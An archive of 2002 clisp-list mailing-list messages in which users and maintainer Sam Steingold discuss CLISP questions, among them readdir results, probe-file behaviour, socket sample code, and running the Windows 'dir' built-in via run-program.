? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 17 21:51:03 2002 X-Original-Date: 18 Feb 2002 00:47:35 -0500 > * In message > * On the subject of "Re: [clisp-list] linux:readdir always returns d_type=0 ?" > * Sent on Thu, 14 Feb 2002 21:46:02 -0800 (PST) > * Honorable Kaz Kylheku writes: > > On 14 Feb 2002, Sam Steingold wrote: > > > > I was just wondering why linux:readdir is always > > > returning "0" as d_type, no matter if the file > > > is a directory or regular file, such as : > > > > [1]> (setf dir (linux:opendir "/etc")) > > # > > [3]> (setf file (linux:readdir dir)) > > #S(LINUX:dirent :|d_ino| 242881 :|d_off| 12 :|d_reclen| 16 :|d_type| 4 > > :|d_name| ".") > > [4]> (setf file (linux:readdir dir)) > > #S(LINUX:dirent :|d_ino| 2 :|d_off| 24 :|d_reclen| 16 :|d_type| 4 > > :|d_name| "..") > > Interesting. What kind of filesystem is your /etc on? ext3 why? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Of course, I haven't tried it. But it will work. - Isaak Asimov From samuel.steingold@verizon.net Sun Feb 17 22:03:14 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16cgtJ-0000fb-00 for ; Sun, 17 Feb 2002 22:03:09 -0800 Received: from gnu.org ([151.203.224.254]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020218060302.MKYL26730.out012.verizon.net@gnu.org>; Mon, 18 Feb 2002 00:03:02 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] probe-file bug References: <20020215191211.A225@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020215191211.A225@localhost.localdomain> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 17 22:04:02 2002 X-Original-Date: 18 Feb 2002 00:59:53 -0500 > * In message <20020215191211.A225@localhost.localdomain> > * On the subject of "[clisp-list] probe-file bug" > * Sent on Fri, 15 Feb 2002 19:12:11 +0100 > * Honorable Peter Wood writes: > > [2]> (probe-file #"/home/prw/.inputrc") > > *** - no file name given: #P"/home/prw/.inputrc" this is a feature, not a bug. #".foo" ==> #S(PATHNAME :HOST NIL :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME NIL :TYPE "foo" :VERSION NIL) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Sex is like air. It's only a big deal if you can't get any. From wgf1pal@rtc.bosch.com Mon Feb 18 11:23:40 2002 Received: from gwa2.fe.bosch.de ([194.39.218.2]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ctNy-0005zK-00 for ; Mon, 18 Feb 2002 11:23:39 -0800 Received: (from uucp@localhost) by gwa2.fe.bosch.de (8.10.2/8.10.2) id g1IJPTe05918 for ; Mon, 18 Feb 2002 20:25:29 +0100 (MET) X-Authentication-Warning: gwa2.fe.bosch.de: uucp set sender to using -f Received: from fez8020.fe.internet.bosch.com(virus-out2.fe.internet.bosch.de 10.4.4.20) by gwa2.fe.bosch.de via smap (V2.1) id xma005848; Mon, 18 Feb 02 20:24:47 +0100 Received: from 10.25.58.5 by fez8020.fe.internet.bosch.com (InterScan E-Mail VirusWall NT); Mon, 18 Feb 2002 20:20:00 +0100 Received: from rtc.bosch.com (palpc50 [10.25.58.70]) by palsrv5-10.pal.us.bosch.com (8.9.3+Sun/8.9.3) with ESMTP id LAA03325; Mon, 18 Feb 2002 11:25:01 -0800 (PST) Message-ID: <3C7137F7.F75E9BA8@rtc.bosch.com> From: "Fuliang Weng (RTC)" X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10smp i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: fuliang.weng@rtc.bosch.com Content-Type: multipart/mixed; boundary="------------EC71AE20BA58720C8EA2AF45" Subject: [clisp-list] socket sample code for clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 18 11:24:05 2002 X-Original-Date: Mon, 18 Feb 2002 11:20:55 -0600 This is a multi-part message in MIME format. --------------EC71AE20BA58720C8EA2AF45 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi CLISP users, I am currently writing a CLISP module that needs to be integrated into a larger system written in other languages. Therefore, I need a socket connection to communication with other modules (possibly running on other machines). I am wondering if anyone has a sample CLISP code that does the job, or can give me any suggestion in getting this problem solved. Thank you very much. Regards. --Fuliang --------------EC71AE20BA58720C8EA2AF45 Content-Type: text/x-vcard; charset=us-ascii; name="wgf1pal.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Fuliang Weng (RTC) Content-Disposition: attachment; filename="wgf1pal.vcf" begin:vcard n:Weng;Fuliang tel;fax:(650) 320-2999 tel;work:(650) 320-2952 x-mozilla-html:FALSE org:Robert Bosch Corp;Research & Tech Center version:2.1 email;internet:fuliang.weng@rtc.bosch.com title:Senior Research Engineer adr;quoted-printable:;;=0D=0A4009 Miranda Ave.=0D=0A;Palo Alto, CA 94304;;; x-mozilla-cpt:;4032 fn:Fuliang Weng end:vcard --------------EC71AE20BA58720C8EA2AF45-- From Matise@biology.rutgers.edu Mon Feb 18 14:02:25 2002 Received: from nel-exchange.rutgers.edu ([128.6.130.4] helo=nel-exchange.ad.lifesciences.rutgers.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16cvrd-0000EQ-00 for ; Mon, 18 Feb 2002 14:02:25 -0800 Received: by nel-exchange.ad.lifesciences.rutgers.edu with Internet Mail Service (5.5.2653.19) id ; Mon, 18 Feb 2002 17:01:44 -0500 Message-ID: <32786300104BD311AC7E00508B6707D0D1A3DC@nel-exchange.ad.lifesciences.rutgers.edu> From: Matise@Biology.Rutgers.Edu To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1B8C7.CF072840" Subject: [clisp-list] Q: "execute" and piping in DOS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 18 14:03:06 2002 X-Original-Date: Mon, 18 Feb 2002 17:01:25 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1B8C7.CF072840 Content-Type: text/plain; charset="iso-8859-1" I'm trying to adapt a CLISP program I normally run under UNIX to run under DOS. The UNIX version uses "run-program" to call numerous external programs or shell commands, and the results of these program calls are piped (with the run-program command) to an output file for later use by my program. I think I should be using "execute" for the DOS version, but I don't know how to pipe the results that are written to the screen to an output file. Thanks, Tara * * * * * * * * * * * * * * * * * * * * * * * * Tara C. Matise, Ph.D. Associate Research Professor Department of Genetics 732-445-3125 (P) Rutgers University 732-445-4972 (F) matise@biology.rutgers.edu http://compgen.rutgers.edu Nelson Biological Laboratories - B211 604 Allison Road Piscataway, NJ 08854-8082 ------_=_NextPart_001_01C1B8C7.CF072840 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Q: "execute" and piping in DOS

I'm trying to adapt a CLISP program I normally = run under UNIX to run under DOS.  The UNIX version uses = "run-program" to call numerous external programs or shell = commands, and the results of these program calls are piped (with the = run-program command) to an output file for later use by my = program. 

I think I should be using "execute" = for the DOS version, but I don't know how to pipe the results that are = written to the screen to an output file.  

Thanks,

Tara

*  *  *  *  *  = *  *  *  *  *  *  *  *  *  = *  *  *  *  *  *  *  *  *  = * 
Tara C. Matise, = Ph.D.           = Associate Research Professor       =
Department of = Genetics       732-445-3125 (P)
Rutgers = University          &n= bsp;   732-445-4972 (F)
           &n= bsp;  matise@biology.rutgers.edu
           &n= bsp;  http://compgen.rutgers.edu

Nelson Biological Laboratories - = B211
604 Allison Road
Piscataway, NJ  08854-8082

------_=_NextPart_001_01C1B8C7.CF072840-- From samuel.steingold@verizon.net Tue Feb 19 07:12:09 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dBw8-0008D7-00 for ; Tue, 19 Feb 2002 07:12:08 -0800 Received: from gnu.org ([151.203.224.254]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020219151159.MSPS25425.out018.verizon.net@gnu.org>; Tue, 19 Feb 2002 09:11:59 -0600 To: Matise@nel-exchange.Rutgers.Edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Q: "execute" and piping in DOS References: <32786300104BD311AC7E00508B6707D0D1A3DC@nel-exchange.ad.lifesciences.rutgers.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <32786300104BD311AC7E00508B6707D0D1A3DC@nel-exchange.ad.lifesciences.rutgers.edu> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 19 07:13:02 2002 X-Original-Date: 19 Feb 2002 10:08:50 -0500 > * In message <32786300104BD311AC7E00508B6707D0D1A3DC@nel-exchange.ad.lifesciences.rutgers.edu> > * On the subject of "[clisp-list] Q: "execute" and piping in DOS" > * Sent on Mon, 18 Feb 2002 17:01:25 -0500 > * Honorable Matise@nel-exchange.Rutgers.Edu writes: > > I'm trying to adapt a CLISP program I normally run under UNIX to run > under DOS. The UNIX version uses "run-program" to call numerous > external programs or shell commands, and the results of these program > calls are piped (with the run-program command) to an output file for > later use by my program. plain dos is not supported anymore. win32 and OS/2 supports the same API - `run-program' - as UNIX. see for details. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! A computer scientist is someone who fixes things that aren't broken. From bill_clementson@yahoo.com Tue Feb 19 07:29:02 2002 Received: from web10405.mail.yahoo.com ([216.136.130.97]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dCCU-0003Ev-00 for ; Tue, 19 Feb 2002 07:29:02 -0800 Message-ID: <20020219152900.8559.qmail@web10405.mail.yahoo.com> Received: from [208.142.210.30] by web10405.mail.yahoo.com via HTTP; Tue, 19 Feb 2002 07:29:00 PST From: Bill Clementson To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-32859238-1014132540=:5136" Subject: [clisp-list] Emacs directory not in Windows distribution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 19 07:30:02 2002 X-Original-Date: Tue, 19 Feb 2002 07:29:00 -0800 (PST) --0-32859238-1014132540=:5136 Content-Type: text/plain; charset=us-ascii I am preparing a set of instructions for setting up a Lisp development environment on Windows with configuration information for clisp/ilisp, acl/eli, corman/eshell & lw/ilisp for the Common Lisp Cookbook. One thing that I encountered when setting up clisp on Windows is that the standard clisp distribution for Windows doesn't contain the emacs directory. This means that (in order for a Windows user to get the clisp-indent.el program), it is necessary to either download the clisp source distribution or get the clisp-indent.el program from CVS. For the time being, I have included instructions detailing how to get the clisp-indent.el program from CVS; however, it would probably be a good idea to include the emacs directory in the standard clisp Windows distribution as well. -- Bill Clementson --------------------------------- Do You Yahoo!? Yahoo! Sports - Coverage of the 2002 Olympic Games --0-32859238-1014132540=:5136 Content-Type: text/html; charset=us-ascii

I am preparing a set of instructions for setting up a Lisp development environment on Windows with configuration information for clisp/ilisp, acl/eli, corman/eshell & lw/ilisp for the Common Lisp Cookbook. One thing that I encountered when setting up clisp on Windows is that the standard clisp distribution for Windows doesn't contain the emacs directory. This means that (in order for a Windows user to get the clisp-indent.el program), it is necessary to either download the clisp source distribution or get the clisp-indent.el program from CVS. For the time being, I have included instructions detailing how to get the clisp-indent.el program from CVS; however, it would probably be a good idea to include the emacs directory in the standard clisp Windows distribution as well.

--

Bill Clementson



Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games --0-32859238-1014132540=:5136-- From samuel.steingold@verizon.net Tue Feb 19 07:36:07 2002 Received: from out004slb.verizon.net ([206.46.170.16] helo=out004.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dCJJ-0004Vc-00 for ; Tue, 19 Feb 2002 07:36:05 -0800 Received: from gnu.org ([151.203.224.254]) by out004.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020219153604.OHRH11372.out004.verizon.net@gnu.org>; Tue, 19 Feb 2002 09:36:04 -0600 To: "Fuliang Weng \(RTC\)" Cc: clisp-list@lists.sourceforge.net, fuliang.weng@rtc.bosch.com Subject: Re: [clisp-list] socket sample code for clisp References: <3C7137F7.F75E9BA8@rtc.bosch.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C7137F7.F75E9BA8@rtc.bosch.com> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 19 07:37:02 2002 X-Original-Date: 19 Feb 2002 10:32:56 -0500 > * In message <3C7137F7.F75E9BA8@rtc.bosch.com> > * On the subject of "[clisp-list] socket sample code for clisp" > * Sent on Mon, 18 Feb 2002 11:20:55 -0600 > * Honorable "Fuliang Weng \(RTC\)" writes: > > I am wondering if anyone has a sample CLISP code that does the job, or > can give me any suggestion in getting this problem solved. docs: code: CLOCC/CLLIB/url.lisp and CLOCC/PORT/net.lisp and CLISP/src/inspect.lisp -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Beauty is only a light switch away. From samuel.steingold@verizon.net Tue Feb 19 08:02:52 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dCjD-0002ko-00 for ; Tue, 19 Feb 2002 08:02:51 -0800 Received: from gnu.org ([151.203.224.254]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020219160234.PNPH5018.out005.verizon.net@gnu.org>; Tue, 19 Feb 2002 10:02:34 -0600 To: Larry Clapp Cc: clisp-list@lists.sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Lisp with Vim Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 19 08:03:05 2002 X-Original-Date: 19 Feb 2002 10:59:42 -0500 > * In message > * On the subject of "Lisp with Vim" in > * Sent on 15 Feb 2002 05:31:25 GMT > * Honorable Larry Clapp writes: > > I've been a vi/Vim user since I discovered Unix, and I figured I could > skip Emacs if I could figure out how to get Vim to talk to Lisp. I suggest that you look at CLISP (http://clisp.cons.org) and make it pluggable into VIM the same way Python and Perl are pluggable there. CLISP is small, fast and portable and it can make a great VIM extension. CLISP FFI is powerful enough to plug it into VIM. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! My other CAR is a CDR. From Matise@biology.rutgers.edu Tue Feb 19 20:06:53 2002 Received: from nel-exchange.rutgers.edu ([128.6.130.4] helo=nel-exchange.ad.lifesciences.rutgers.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dO1s-0005ts-00 for ; Tue, 19 Feb 2002 20:06:52 -0800 Received: by nel-exchange.ad.lifesciences.rutgers.edu with Internet Mail Service (5.5.2653.19) id ; Tue, 19 Feb 2002 23:06:11 -0500 Message-ID: <32786300104BD311AC7E00508B6707D0D1A407@nel-exchange.ad.lifesciences.rutgers.edu> From: Matise@Biology.Rutgers.Edu To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1B9C3.D7A2B350" Subject: [clisp-list] Q: problem with run-program in Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 19 20:07:02 2002 X-Original-Date: Tue, 19 Feb 2002 23:05:33 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1B9C3.D7A2B350 Content-Type: text/plain; charset="iso-8859-1" CLISP-list I'm trying to use the run-program command to simply run the "dir" command to list the directory, but I must be doing something wrong: 5. Break [6]> (run-program "dir") [%s:10790] *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. Outside of the CLISP environment, the "dir" command runs just fine. Any suggestions? This machine is running Windows2000. Thanks for your help, Tara * * * * * * * * * * * * * * * * * * * * * * * * Tara C. Matise, Ph.D. matise@biology.rutgers.edu Department of Genetics 732-445-3125 (P) Rutgers University 732-445-1147 (F) Nelson Biological Laboratories - B211 604 Allison Road Piscataway, NJ 08854-8082 ------_=_NextPart_001_01C1B9C3.D7A2B350 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Q: problem with run-program in Win32

CLISP-list

I'm trying to use the = run-program command to simply run the "dir" command to list = the directory, but I must be doing something wrong:

5. Break [6]> (run-program = "dir")

[%s:10790]
*** - Win32 error 2 = (ERROR_FILE_NOT_FOUND): The system cannot find the file = specified.

Outside of the CLISP environment, the = "dir" command runs just fine.

Any  suggestions?  This machine is = running Windows2000.

Thanks for your help,

Tara
*  *  *  *  = *  *  *  *  *  *  *  *  *  = *  *  *  *  *  *  *  *  *  = *  *
Tara C. Matise, = Ph.D.           &= nbsp;  matise@biology.rutgers.edu
Department of = Genetics          = 732-445-3125 (P)
Rutgers = University          &n= bsp;      732-445-1147 (F)

Nelson Biological Laboratories - = B211
604 Allison Road
Piscataway, NJ 08854-8082

------_=_NextPart_001_01C1B9C3.D7A2B350-- From samuel.steingold@verizon.net Tue Feb 19 22:08:08 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dPvD-0006vR-00 for ; Tue, 19 Feb 2002 22:08:07 -0800 Received: from gnu.org ([151.203.224.254]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020220060800.XQKG28131.out016.verizon.net@gnu.org>; Wed, 20 Feb 2002 00:08:00 -0600 To: Matise@nel-exchange.Rutgers.Edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Q: problem with run-program in Win32 References: <32786300104BD311AC7E00508B6707D0D1A407@nel-exchange.ad.lifesciences.rutgers.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <32786300104BD311AC7E00508B6707D0D1A407@nel-exchange.ad.lifesciences.rutgers.edu> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 19 22:09:02 2002 X-Original-Date: 20 Feb 2002 01:04:22 -0500 > * In message <32786300104BD311AC7E00508B6707D0D1A407@nel-exchange.ad.lifesciences.rutgers.edu> > * On the subject of "[clisp-list] Q: problem with run-program in Win32" > * Sent on Tue, 19 Feb 2002 23:05:33 -0500 > * Honorable Matise@nel-exchange.Rutgers.Edu writes: > > I'm trying to use the run-program command to simply run the "dir" command to > list the directory, but I must be doing something wrong: > > 5. Break [6]> (run-program "dir") > > [%s:10790] > *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file > specified. "dir" is a shell built-in. try (shell "dir") or (run-program "dir" :indirect t) or (run-program "cmd /c dir") (untested, but I hope other win32 users will comment) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Never trust a man who can count to 1024 on his fingers. From ampy@ich.dvo.ru Tue Feb 19 23:05:56 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dQoJ-00078c-00 for ; Tue, 19 Feb 2002 23:05:03 -0800 Received: (qmail 32763 invoked from network); 20 Feb 2002 07:04:33 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 20 Feb 2002 07:04:33 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Wed, 20 Feb 2002 17:03:40 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1391126429.20020220170340@ich.dvo.ru> To: Sam Steingold CC: Matise@nel-exchange.Rutgers.Edu, clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] Q: problem with run-program in Win32 In-reply-To: References: <32786300104BD311AC7E00508B6707D0D1A407@nel-exchange.ad.lifesciences.rutgers.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 19 23:06:05 2002 X-Original-Date: Wed, 20 Feb 2002 17:03:40 +1000 Hello, Sam, Wednesday, February 20, 2002, 4:04:22 PM, you wrote: >> I'm trying to use the run-program command to simply run the "dir" command to >> list the directory, but I must be doing something wrong: >> >> 5. Break [6]> (run-program "dir") >> >> [%s:10790] >> *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file >> specified. Sam> "dir" is a shell built-in. Sam> try Sam> (shell "dir") doesn't work in NT Sam> or Sam> (run-program "dir" :indirect t) indirectp - works, but undocumented Sam> or Sam> (run-program "cmd /c dir") doesn't work -- Best regards, Arseny mailto:ampy@ich.dvo.ru From lin8080@freenet.de Wed Feb 20 11:14:09 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dcBr-0001gE-00 for ; Wed, 20 Feb 2002 11:14:07 -0800 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #3) id 16dcBj-0006Fz-00 for clisp-list@lists.sourceforge.net; Wed, 20 Feb 2002 20:13:59 +0100 Received: from a89c6.pppool.de ([213.6.137.198] helo=freenet.de) by mx0.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #3) id 16dcBj-0006iH-00 for clisp-list@lists.sourceforge.net; Wed, 20 Feb 2002 20:13:59 +0100 Message-ID: <3C72C685.A76D34A8@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de]C-freenet 4.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Emacs directory not in Windows distribution References: <20020219152900.8559.qmail@web10405.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 20 11:15:07 2002 X-Original-Date: Tue, 19 Feb 2002 22:41:25 +0100 Bill Clementson schrieb: > I am preparing a set of instructions for setting up a Lisp development > environment on Windows with configuration information for clisp/ilisp, > acl/eli, corman/eshell & lw/ilisp for the Common Lisp Cookbook. One > thing that I encountered when setting up clisp on Windows is that the > standard clisp distribution for Windows doesn't contain the emacs > directory. This means that (in order for a Windows user to get the > clisp-indent.el program), it is necessary to either download the clisp > source distribution or get the clisp-indent.el program from CVS. For > the time being, I have included instructions detailing how to get the > clisp-indent.el program from CVS; however, it would probably be a good > idea to include the emacs directory in the standard clisp Windows > distribution as well. This will enlarge the download time. A seperate link to emacs a distribution is a better solution, so you can download the newest version. I have clisp on windows here, but I do not want emacs. stefan From samuel.steingold@verizon.net Wed Feb 20 11:29:52 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dcR3-0005JL-00 for ; Wed, 20 Feb 2002 11:29:49 -0800 Received: from gnu.org ([151.203.224.254]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020220192947.ZZLD28131.out016.verizon.net@gnu.org>; Wed, 20 Feb 2002 13:29:47 -0600 To: Arseny Slobodjuck Cc: Matise@nel-exchange.Rutgers.Edu, clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] Q: problem with run-program in Win32 References: <32786300104BD311AC7E00508B6707D0D1A407@nel-exchange.ad.lifesciences.rutgers.edu> <1391126429.20020220170340@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1391126429.20020220170340@ich.dvo.ru> Message-ID: Lines: 48 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 20 11:30:41 2002 X-Original-Date: 20 Feb 2002 14:26:35 -0500 Hi 